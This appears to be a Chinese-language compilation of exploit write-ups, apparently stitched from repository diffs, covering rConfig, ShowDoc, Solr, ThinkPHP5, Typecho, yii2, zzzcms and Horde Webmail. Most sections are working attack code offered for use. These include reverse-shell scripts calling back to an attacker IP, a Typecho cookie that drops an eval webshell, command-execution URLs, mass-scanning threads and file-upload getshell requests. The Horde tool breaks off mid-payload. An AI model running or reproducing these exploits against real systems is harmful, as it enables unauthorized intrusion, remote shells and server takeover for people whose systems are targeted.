第二个漏洞位于`search.crud.php`文件中,存在RCE漏洞。攻击者可以发送精心构造的GET请求触发该漏洞,请求中包含两个参数,其中`searchTerm`参数可以包含任意值,但该参数必须存在,才能执行到第63行的`exec`函数。
|
||||
|
||||
我像往常一样想寻找RCE漏洞,因此我使用自己开发的一个[python脚本](https://github.com/mhaskar/RCEScanner)来搜索所有不安全的函数。
|
||||
|
||||
## 0x01 未授权RCE漏洞
|
||||
|
||||
运行脚本后,我看到了一些输出结果。检查文件后,我发现有个文件名为`ajaxServerSettingsChk.php`,具体路径为`install/lib/ajaxHandlers/ajaxServerSettingsChk.php`,部分代码如下:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$rootUname = $_GET['rootUname']; // line 2
|
||||
$array = array();
|
||||
/* check PHP Safe_Mode is off */
|
||||
if (ini_get('safe_mode')) {
|
||||
$array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;Fail - php safe mode is on - turn it off before you proceed with the installation&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;br/&amp;gt;';
|
||||
} else {
|
||||
$array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - php safe mode is off&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
|
||||
}
|
||||
|
||||
/* Test root account details */
|
||||
$rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&amp;gt;&amp;amp;1'; // line 12
|
||||
exec($rootTestCmd1, $cmdOutput, $err); // line 13
|
||||
$homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
|
||||
if ($homeDirPerms == '0777') {
|
||||
$array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - root account details are good &amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
|
||||
} else {
|
||||
$array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;The root details provided have not passed: ' . $cmdOutput[0] . '&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
|
||||
}
|
||||
// reset /home dir permissions
|
||||
$rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&amp;gt;&amp;amp;1'; // line 21
|
||||
exec($rootTestCmd2, $cmdOutput, $err); // line 22
|
||||
|
||||
echo json_encode($array);
|
||||
```
|
||||
|
||||
## POC x1
|
||||
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
|
||||
# Date: 18/09/2019
|
||||
# Exploit Author: Askar (@mohammadaskar2)
|
||||
# CVE : CVE-2019-16662
|
||||
# Vendor Homepage: https://rconfig.com/
|
||||
# Software link: https://rconfig.com/download
|
||||
# Version: v3.9.2
|
||||
# Tested on: CentOS 7.7 / PHP 7.2.22
|
||||
|
||||
import requests
|
||||
import sys
|
||||
from urllib import quote
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
if len(sys.argv) != 4:
|
||||
print "[+] Usage : ./exploit.py target ip port"
|
||||
exit()
|
||||
|
||||
target = sys.argv[1]
|
||||
|
||||
ip = sys.argv[2]
|
||||
|
||||
port = sys.argv[3]
|
||||
|
||||
payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
|
||||
|
||||
install_path = target + "/install"
|
||||
|
||||
req = requests.get(install_path, verify=False)
|
||||
if req.status_code == 404:
|
||||
print "[-] Installation directory not found!"
|
||||
print "[-] Exploitation failed !"
|
||||
exit()
|
||||
elif req.status_code == 200:
|
||||
print "[+] Installation directory found!"
|
||||
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
|
||||
|
||||
print "[+] Triggering the payload"
|
||||
print "[+] Check your listener !"
|
||||
|
||||
requests.get(url_to_send, verify=False)
|
||||
|
||||
```
|
||||
|
||||
## POC x2
|
||||
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
|
||||
# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
|
||||
# Date: 18/09/2019
|
||||
# Exploit Author: Askar (@mohammadaskar2)
|
||||
# CVE : CVE-2019-16663
|
||||
# Vendor Homepage: https://rconfig.com/
|
||||
# Software link: https://rconfig.com/download
|
||||
# Version: v3.9.2
|
||||
# Tested on: CentOS 7.7 / PHP 7.2.22
|
||||
|
||||
|
||||
import requests
|
||||
import sys
|
||||
from urllib import quote
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
if len(sys.argv) != 6:
|
||||
print "[+] Usage : ./exploit.py target username password ip port"
|
||||
exit()
|
||||
|
||||
target = sys.argv[1]
|
||||
|
||||
username = sys.argv[2]
|
||||
|
||||
password = sys.argv[3]
|
||||
|
||||
ip = sys.argv[4]
|
||||
|
||||
port = sys.argv[5]
|
||||
|
||||
request = requests.session()
|
||||
|
||||
login_info = {
|
||||
"user": username,
|
||||
"pass": password,
|
||||
"sublogin": 1
|
||||
}
|
||||
|
||||
login_request = request.post(
|
||||
target+"/lib/crud/userprocess.php",
|
||||
login_info,
|
||||
verify=False,
|
||||
allow_redirects=True
|
||||
)
|
||||
|
||||
dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
|
||||
|
||||
|
||||
if dashboard_request.status_code == 200:
|
||||
print "[+] LoggedIn successfully"
|
||||
payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
|
||||
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
|
||||
print "[+] triggering the payload"
|
||||
print "[+] Check your listener !"
|
||||
exploit_req = request.get(encoded_request)
|
||||
|
||||
elif dashboard_request.status_code == 302:
|
||||
print "[-] Wrong credentials !"
|
||||
exit()
|
||||
```
|
||||
|
||||
### 原文: https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
|
||||
|
||||
### 英译中: https://www.anquanke.com/post/id/189795
|
||||
|
||||
### PDF版本:[本地:rConfig v3.9.2 RCE漏洞分析.pdf](./books/rConfig%20v3.9.2%20RCE漏洞分析.pdf)
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
## showdoc的api_page存在任意文件上传【需要登录】
|
||||
|
||||
### 背景
|
||||
|
||||
ShowDoc is a tool greatly applicable for an IT team to share documents online一个非常适合IT团队的在线API文档、技术文档工具
|
||||
|
||||
官网 :https://www.showdoc.cc/
|
||||
|
||||
GitHub主页:https://github.com/star7th/showdoc
|
||||
|
||||
当前测试版本:[v2.6.7](https://github.com/star7th/showdoc/releases/tag/v2.6.7)
|
||||
|
||||
### 漏洞点
|
||||
|
||||
https://github.com/star7th/showdoc/blob/master/server/Application/Api/Controller/PageController.class.php#L258
|
||||
|
||||
```php
|
||||
//上传附件
|
||||
public function upload(){
|
||||
$login_user = $this->checkLogin();
|
||||
$item_id = I("item_id/d") ? I("item_id/d") : 0 ;
|
||||
$page_id = I("page_id/d") ? I("page_id/d") : 0 ;
|
||||
$uploadFile = $_FILES['file'] ;
|
||||
|
||||
if (!$page_id) {
|
||||
$this->sendError(10103,"请至少先保存一次页面内容");
|
||||
return;
|
||||
}
|
||||
if (!$this->checkItemPermn($login_user['uid'] , $item_id)) {
|
||||
$this->sendError(10103);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!$uploadFile) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (strstr(strip_tags(strtolower($_FILES['editormd-image-file']['name'])), ".php") ) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$upload = new \Think\Upload();// 实例化上传类
|
||||
$upload->maxSize = 4145728000 ;// 设置附件上传大小
|
||||
$upload->rootPath = './../Public/Uploads/';// 设置附件上传目录
|
||||
$upload->savePath = '';// 设置附件上传子目录
|
||||
$info = $upload->uploadOne($uploadFile) ;
|
||||
if(!$info) {// 上传错误提示错误信息
|
||||
$this->error($upload->getError());
|
||||
return;
|
||||
}else{// 上传成功 获取上传文件信息
|
||||
$url = get_domain().__ROOT__.substr($upload->rootPath,1).$info['savepath'].$info['savename'] ;
|
||||
$insert = array(
|
||||
"uid" => $login_user['uid'],
|
||||
"item_id" => $item_id,
|
||||
"page_id" => $page_id,
|
||||
"display_name" => $uploadFile['name'],
|
||||
"file_type" => $uploadFile['type'],
|
||||
"file_size" => $uploadFile['size'],
|
||||
"real_url" => $url,
|
||||
"addtime" => time(),
|
||||
);
|
||||
$ret = D("UploadFile")->add($insert);
|
||||
|
||||
echo json_encode(array("url"=>$url,"success"=>1));
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
相比 https://github.com/star7th/showdoc/blob/master/server/Application/Api/Controller/PageController.class.php#L212 的uploadImg() 有过滤,附件上传upload()没有任何过滤.可以直接上传shell。
|
||||
|
||||
burp的post数据大致如下:
|
||||
|
||||
```
|
||||
POST /show/server/index.php?s=/api/page/upload HTTP/1.1
|
||||
|
||||
------WebKitFormBoundaryzOQywSoNbAALAwKn
|
||||
Content-Disposition: form-data; name="page_id"
|
||||
|
||||
22
|
||||
------WebKitFormBoundaryzOQywSoNbAALAwKn
|
||||
Content-Disposition: form-data; name="item_id"
|
||||
|
||||
3
|
||||
------WebKitFormBoundaryzOQywSoNbAALAwKn
|
||||
Content-Disposition: form-data; name="file"; filename="cs.php"
|
||||
Content-Type: image/png
|
||||
|
||||
PNG
|
||||
|
||||
------WebKitFormBoundaryzOQywSoNbAALAwKn--
|
||||
```
|
||||
|
||||
### 防御
|
||||
|
||||
增加过滤,同时运维人员设置上传目录禁止执行,只允许写入读取,做好权限分配。
|
||||
|
||||
来源于土司:https://www.t00ls.net/thread-56340-1-1.html 由[Mrxn](https://github.com/Mr-xn) 整理 ,欢迎大家前往土司投稿注册发言。
|
||||
@@ -0,0 +1,73 @@
|
||||
## solr_rce.py
|
||||
|
||||
```python
|
||||
import requests,sys,json
|
||||
|
||||
|
||||
def get_code_name(url):
|
||||
# http://10.10.20.166:8983
|
||||
core_url = url + '/solr/admin/cores?_=1572502179076&indexInfo=false&wt=json'
|
||||
r = requests.get(core_url)
|
||||
if r.status_code == 200 and 'responseHeader' in r.content and 'status' in r.content:
|
||||
json_str = json.loads(r.content)
|
||||
for i in json_str['status']:
|
||||
core_name_url = url + '/solr/' + i + '/config'
|
||||
print core_name_url
|
||||
update_queryresponsewriter(core_name_url)
|
||||
else:
|
||||
print "No core name exit!"
|
||||
|
||||
|
||||
|
||||
def update_queryresponsewriter(core_name_url):
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
|
||||
'Accept-Encoding': 'gzip, deflate',
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': '259',
|
||||
'Connection': 'close'
|
||||
}
|
||||
payload = '''
|
||||
{
|
||||
"update-queryresponsewriter": {
|
||||
"startup": "lazy",
|
||||
"name": "velocity",
|
||||
"class": "solr.VelocityResponseWriter",
|
||||
"template.base.dir": "",
|
||||
"solr.resource.loader.enabled": "true",
|
||||
"params.resource.loader.enabled": "true"
|
||||
}
|
||||
}'''
|
||||
proxies = {"http":"http://127.0.0.1:8080"}
|
||||
r = requests.post(core_name_url,headers=headers,data=payload)
|
||||
|
||||
if r.status_code == 200 and 'responseHeader' in r.content:
|
||||
print "maybe enable Successful!\n"
|
||||
exp_url = core_name_url[:-7]
|
||||
print exp_url
|
||||
cmd = sys.argv[2]
|
||||
send_exp(exp_url,cmd)
|
||||
else:
|
||||
print "enable Fail!\n"
|
||||
|
||||
def send_exp(exp_url,cmd):
|
||||
exp_url = exp_url + r"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27" + cmd + r"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
|
||||
|
||||
r = requests.get(exp_url)
|
||||
if r.status_code == 400 or r.status_code == 500 and len(r.content) >0:
|
||||
print exp_url,'\n'
|
||||
print '>>>>>>>\n',r.content
|
||||
else:
|
||||
print "exp No Send Successful!\n"
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
# url = "http://192.168.5.86:8983"
|
||||
url = sys.argv[1]
|
||||
print("\n[+] python %s http://x.x.x.x:8983 command\n" % sys.argv[0])
|
||||
get_code_name(url)
|
||||
```
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
### thinkphp5命令执行
|
||||
|
||||
### POC检测代码
|
||||
|
||||
```python
|
||||
# -*- coding:UTF-8 -*-
|
||||
# evn :python2
|
||||
|
||||
import requests
|
||||
import threading
|
||||
import time
|
||||
import sys
|
||||
|
||||
class check(threading.Thread): #判断是否存在这个漏洞的执行函数
|
||||
def __init__(self, url, sem):
|
||||
super(check, self).__init__() #继承threading类的构造方法,python3的写法super().__init__()
|
||||
self.url = url
|
||||
self.sem = sem
|
||||
|
||||
def run(self):
|
||||
parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
|
||||
|
||||
try:
|
||||
responce = requests.get(url = self.url, params = parameters,timeout=3)
|
||||
body = responce.text
|
||||
if body.find('PHP Extension') != -1:
|
||||
with open("success.txt", "a+") as f1:
|
||||
f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
|
||||
print("[+] " + self.url)
|
||||
else:
|
||||
print("[-] " + self.url)
|
||||
except Exception,err:
|
||||
print("connect failed")
|
||||
pass
|
||||
self.sem.release() #执行完函数,释放线程,线程数加1
|
||||
|
||||
class host(threading.Thread): #遍历文件操作
|
||||
def __init__(self, sem):
|
||||
super(host, self).__init__() #继承threading类的构造方法,python3的写法super().__init__()
|
||||
self.sem = sem
|
||||
|
||||
def run(self):
|
||||
with open("url.txt", "r") as f:
|
||||
for host in f.readlines():
|
||||
self.sem.acquire() #遍历一个就获得一个线程,直到达到最大
|
||||
host = host.strip()+"/public/index.php"
|
||||
host_thread = check(host, self.sem)
|
||||
host_thread.start() #执行check()的执行函数
|
||||
|
||||
if __name__ == '__main__':
|
||||
sem = threading.Semaphore(10) #最大线程数为10个
|
||||
thread = host(sem) #传递sem值
|
||||
thread.start()
|
||||
```
|
||||
|
||||
------
|
||||
使用方法:在当前页面下创建./url.txt(为需要检测的url),success.txt为含有漏洞的url。
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|thinkphp5框架缺陷导致远程代码执行|2018-10-10|unknown|[http://www.thinkphp.cn/](http://www.thinkphp.cn/) | [下载连接](http://www.thinkphp.cn/down.html) |5.x < 5.1.31, <= 5.0.23| [详情](https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞
|
||||
>
|
||||
### poc
|
||||
|
||||
```html
|
||||
http://192.168.99.98:7878/?s=index/\think\Request/input&filter=phpinfo&data=1
|
||||
http://192.168.99.98:7878/?s=index/\think\Request/input&filter=system&data=id
|
||||
http://192.168.99.98:7878/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
|
||||
http://192.168.99.98:7878/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
|
||||
http://192.168.99.98:7878/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
|
||||
http://192.168.99.98:7878/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
||||
http://192.168.99.98:7878/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
|
||||
http://192.168.99.98:7878/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
|
||||
```
|
||||
@@ -0,0 +1,63 @@
|
||||
### typecho反序列化漏洞
|
||||
|
||||
### POC检测代码
|
||||
|
||||
```python
|
||||
#/usr/bin/env python
|
||||
# -*- coding: UTF-8 -*-
|
||||
import getopt,sys
|
||||
import requests
|
||||
import sys
|
||||
import string
|
||||
import time
|
||||
import threading
|
||||
|
||||
class check(threading.Thread):
|
||||
def __init__(self, url, sem):
|
||||
super(check, self).__init__() #继承threading类的构造方法,python3的写法super().__init__()
|
||||
self.url = url
|
||||
self.sem = sem
|
||||
|
||||
def run(self):
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0',
|
||||
'Referer': self.url,
|
||||
'cookie': "__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTc6ImZpbGVfcHV0X2NvbnRlbnRzKCdwMC5waHAnLCAnPD9waHAgQGV2YWwoJF9QT1NUW3AwXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ=="
|
||||
}
|
||||
try:
|
||||
reqs=s.get(self.url,timeout=3,headers=headers,allow_redirects=False)
|
||||
#print(reqs.status_code),
|
||||
except IOError: #如果网站打不开将输出fail
|
||||
print("time out 1")
|
||||
urls=self.url+"/p0.php"
|
||||
urlsss=self.url+"/install.php?finish=1"
|
||||
payloads={'p0':'echo "sectest";'}
|
||||
try:
|
||||
reqss=s.post(urls,allow_redirects=False,timeout=3,data=payloads)#测试是否文件创建成功
|
||||
body=reqss.text
|
||||
if body.find('sectest')!=-1:
|
||||
print("web is success----->>>>>>"+self.url)
|
||||
with open("./success.txt", "a+") as f1:
|
||||
f1.write(self.url + "\n")
|
||||
else:
|
||||
print("web is fail-------->>>>>>"+self.url)
|
||||
print('\n')
|
||||
except IOError: #如果网站打不开将输出fail
|
||||
print("time out 2")
|
||||
self.sem.release()
|
||||
|
||||
if __name__ == '__main__':
|
||||
reload(sys)#同下解决中文乱码
|
||||
sys.setdefaultencoding('utf-8')#解决中文乱码
|
||||
f = open("./1.txt")#打开批量扫描的网站文件
|
||||
s=requests.Session()
|
||||
sem = threading.Semaphore(10) #最大线程数为10个
|
||||
for line in f.readlines():#读取每一行的网站
|
||||
line=line.strip('\n')#消去换行
|
||||
url=line#每行的网站赋值给url
|
||||
host_thread = check(url,sem)
|
||||
host_thread.start()#执行check()的执行函数
|
||||
```
|
||||
|
||||
------
|
||||
使用方法:在当前页面下创建./1.txt(为需要检测的url),success.txt为含有漏洞的url。
|
||||
@@ -0,0 +1,20 @@
|
||||
### 漏洞简介
|
||||
|
||||
|漏洞名称|上报日期|漏洞发现者|产品首页|软件链接|版本|CVE编号|
|
||||
--------|--------|---------|--------|-------|----|------|
|
||||
|yii2-statemachine v2.x.x存在XSS漏洞|2018-06-12|longer|[https://github.com/ptheofan/yii2-statemachine-demo](https://github.com/ptheofan/yii2-statemachine-demo) | [https://github.com/ptheofan/yii2-statemachine-demo](https://github.com/ptheofan/yii2-statemachine-demo) |v2.x.x| [CVE-2018-12290](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12290)|
|
||||
|
||||
#### 漏洞概述
|
||||
|
||||
> 由于role参数过滤不严格,导致可以插入js代码造成跨站脚本攻击。如将role参数赋值为`guest'%22()%26%25<acx><ScRiPt%20>prompt(123555)</ScRiPt>`,并进行get方式提交,可造成跨站脚本攻击。
|
||||
|
||||
### POC实现代码如下:
|
||||
|
||||
> exp代码如下:
|
||||
|
||||
``` html
|
||||
https://127.0.0.1/?role=guest'%22()%26%25<acx><ScRiPt%20>prompt(123555)</ScRiPt>
|
||||
```
|
||||
### POC截图效果如下:
|
||||
|
||||

|
||||
@@ -0,0 +1,153 @@
|
||||
# zzzcms(asp)前台Getshell
|
||||
|
||||
zzzcms > 1.5版本后台添加了/inc/webuploader/目录 参照Ueditor功能
|
||||
问题文件/admin{}/inc/webuploader/getremoteimage.asp(1.5.0版本)
|
||||
|
||||
```asp
|
||||
<!--#include file="../../../inc/zzz_class.asp"-->
|
||||
<%
|
||||
dim remotestr,remotepic,remotesplit,j,newpath,newpicname,newimg,newimgs,upfolder,parentPath
|
||||
upfolder=getform("upfolder","both")
|
||||
if isnul(upfolder) then
|
||||
parentPath=sitepath&upLoadPath
|
||||
else
|
||||
parentPath=sitepath&upLoadPath&upfolder&"/"
|
||||
end if
|
||||
|
||||
remotestr =Trim(Request("file"))
|
||||
remotestr=replace(remotestr,"&" , "&")
|
||||
remotestr=remotestr
|
||||
remotestr=remotestr&"ue_separate_ue"
|
||||
remotesplit=split(remotestr,"ue_separate_ue")
|
||||
newpath=parentPath&DateFormat(now,"yymmdd")&"/"
|
||||
NewFolder newpath
|
||||
for j=0 to ubound(remotesplit)-1
|
||||
newpicname=getrndname()&GetFileExt(remotesplit(j))
|
||||
newimg=SaveRemoteFile(newpath&newpicname,remotesplit(j))
|
||||
if waterMark=1 then waterMarkImg newimg
|
||||
newimgs=newimgs&newimg&"ue_separate_ue"
|
||||
next
|
||||
if remotestr<>"" then
|
||||
if right(newimgs,len("ue_separate_ue"))="ue_separate_ue" then newimgs=left(newimgs,len(newimgs)-len("ue_separate_ue"))
|
||||
end if
|
||||
response.Write "{'url':'"&newimgs&"','tip':'远程图片抓取成功!','srcUrl':'"&remotestr& "'}"
|
||||
|
||||
function getfileExt(filename)
|
||||
if filename="" then getfileExt=".jpg" : exit function
|
||||
getfileExt=mid(filename,InStrRev(filename,"."),len(filename))'获取文件扩展名
|
||||
end function
|
||||
|
||||
|
||||
'==================================================
|
||||
'过程名:SaveRemoteFile
|
||||
'作 用:保存远程的文件到本地
|
||||
'参 数:LocalFileName ------ 本地文件名
|
||||
'参 数:RemoteFileUrl ------ 远程文件URL
|
||||
'==================================================
|
||||
function SaveRemoteFile(LocalFileName,RemoteFileUrl)
|
||||
On Error Resume Next
|
||||
dim Ads,Retrieval,GetRemoteData
|
||||
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
|
||||
With Retrieval
|
||||
.Open "Get", RemoteFileUrl, False, "", ""
|
||||
.Send
|
||||
GetRemoteData = .ResponseBody
|
||||
End With
|
||||
Set Retrieval = Nothing
|
||||
Set Ads = Server.CreateObject("Adodb.Stream")
|
||||
With Ads
|
||||
.Type = 1
|
||||
.Open
|
||||
.Write GetRemoteData
|
||||
.SaveToFile server.MapPath(LocalFileName),2
|
||||
.Cancel()
|
||||
.Close()
|
||||
End With
|
||||
Set Ads=nothing
|
||||
SaveRemoteFile=LocalFileName
|
||||
end function
|
||||
|
||||
'判断远程图片是否存在
|
||||
function CheckURL(byval A_strUrl)
|
||||
On Error Resume Next
|
||||
set XMLHTTP = Server.CreateObject("Microsoft.XMLHTTP")
|
||||
XMLHTTP.open "HEAD",A_strUrl,false
|
||||
XMLHTTP.send()
|
||||
CheckURL=(XMLHTTP.status=200)
|
||||
set XMLHTTP = nothing
|
||||
end function
|
||||
%>
|
||||
```
|
||||
|
||||
对比后台所有文件缺失了后台权限验证包含
|
||||
|
||||
```
|
||||
<!--#include file="../../../inc/zzz_admin.asp" -->
|
||||
```
|
||||
|
||||
问题文件/admin{}/inc/webuploader/getremoteimage.asp(1.5.4版本)
|
||||
|
||||
```asp
|
||||
<!--#include file="../../../inc/zzz_class.asp"-->
|
||||
<%
|
||||
dim remotestr,remotepic,remotesplit,j,newpath,newpicname,newimg,newimgs,upfolder,parentPath
|
||||
upfolder=getform("upfolder","both")
|
||||
if isnul(upfolder) then
|
||||
parentPath=sitepath&upLoadPath
|
||||
else
|
||||
parentPath=sitepath&upLoadPath&upfolder&"/"
|
||||
end if
|
||||
remotestr =Trim(Request("file"))
|
||||
remotestr=replace(remotestr,"&" , "&")
|
||||
remotestr=remotestr
|
||||
remotestr=remotestr&"ue_separate_ue"
|
||||
remotesplit=split(remotestr,"ue_separate_ue")
|
||||
newpath=parentPath&DateFormat(now,"yymmdd")&"/"
|
||||
NewFolder newpath
|
||||
for j=0 to ubound(remotesplit)-1
|
||||
newpicname=getrndname()&"."&GetFileExt(remotesplit(j))
|
||||
newimg=SaveRemoteFile(newpath&newpicname,remotesplit(j))
|
||||
if waterMark=1 then waterMarkImg newimg
|
||||
newimgs=newimgs&newimg&"ue_separate_ue"
|
||||
next
|
||||
remotestr=endstr(remotestr,"ue_separate_ue")
|
||||
echo "{'url':'"&newimgs&"','tip':'远程图片抓取成功!','srcUrl':'"&remotestr& "'}"
|
||||
%>
|
||||
```
|
||||
|
||||
看到这段自定义的echo
|
||||
|
||||
```
|
||||
echo "{'url':'"&newimgs&"','tip':'远程图片抓取成功!','srcUrl':'"&remotestr& "'}"
|
||||
```
|
||||
|
||||
可以猜测PHP开发者参照ASP.NET的Ueditor写出了ASP的代码
|
||||
EXP:
|
||||
|
||||
```
|
||||
POST:
|
||||
/{admin}/inc/webuploader/getremoteimage.asp
|
||||
|
||||
file=http://target.com/*.gif?.asp
|
||||
```
|
||||
|
||||
SHELL在返回包
|
||||
影响版本zzzcms(ASP)1.5.0/1.5.1/1.5.2/1.5.3/1.5.4
|
||||
值得一提的是zzzcms ASP版安装完成后默认后台为随机
|
||||
想要利用需要获得后台地址/admin{随机目录}/inc/webuploader/getremoteimage.asp
|
||||
|
||||
测试发现这个随机后台是个摆设 有兴趣的可以研究研究
|
||||
|
||||
一些tips:
|
||||
|
||||
```
|
||||
.txt?.a*sp.a*sp有时候抓取不到 得先传图片马到他本地再抓本机还有的只能抓https 不支持http
|
||||
其实不光?可以 *也可以 基本上给予关键词拦截的waf 用星号都可以绕过
|
||||
q:新年快乐,流光师傅。 测试了下txt能post上去,asp后缀无法直接po上去,请问怎么突破。
|
||||
a:.txt?.asp
|
||||
```
|
||||
|
||||
注:原文地址:https://www.t00ls.net/articles-59726.html 作者:@[赢时胜流光](https://www.t00ls.net/members-profile-12455.html)
|
||||
|
||||
欢迎大家投稿吐司!
|
||||
|
||||
@@ -0,0 +1,204 @@
|
||||
# 0x00 简介
|
||||
|
||||
Horde Groupware Webmail是美国Horde公司的一套基于浏览器的企业级通信套件。 Horde Groupware Webmail中存在代码注入漏洞。该漏洞源于外部输入数据构造代码段的过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段,修改网络系统或组件的预期的执行控制流。
|
||||
|
||||
|
||||
|
||||
# 0x01 漏洞详情
|
||||
|
||||
|
||||
|
||||
ZDI-20-1051
|
||||
|
||||
ZDI-CAN-10436
|
||||
|
||||
|
||||
|
||||
此漏洞使远程攻击者可以在受影响的Horde Groupware Webmail Edition安装上执行任意代码。利用身份验证才能利用此漏洞。
|
||||
|
||||
|
||||
|
||||
具体缺陷存在于Sort.php中。解析sortpref参数时,该过程无法正确验证用户提供的数据,这可能导致不信任数据的反序列化。攻击者可以利用此漏洞在www-data用户的上下文中执行代码。
|
||||
|
||||
|
||||
|
||||
# 0x02 利用工具
|
||||
|
||||
```python
|
||||
import re
|
||||
import sys
|
||||
import socket
|
||||
import requests
|
||||
import telnetlib
|
||||
import base64
|
||||
from threading import Thread
|
||||
|
||||
def rs(cbh, cbp):
|
||||
return """@error_reporting(-1);
|
||||
@set_time_limit(0);
|
||||
@ignore_user_abort(1);
|
||||
$dis=@ini_get('disable_functions');
|
||||
if(!empty($dis)){
|
||||
$dis=preg_replace('/[, ]+/', ',', $dis);
|
||||
$dis=explode(',', $dis);
|
||||
$dis=array_map('trim', $dis);
|
||||
}else{
|
||||
$dis=array();
|
||||
}
|
||||
$ipaddr='%s';
|
||||
$port=%d;
|
||||
function PtdSlhY($c){
|
||||
global $dis;
|
||||
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
|
||||
$c=$c." 2>&1\\n";
|
||||
}
|
||||
ob_start();
|
||||
system($c);
|
||||
$o=ob_get_contents();
|
||||
ob_end_clean();
|
||||
if (strlen($o) === 0){
|
||||
$o = "NULL";
|
||||
}
|
||||
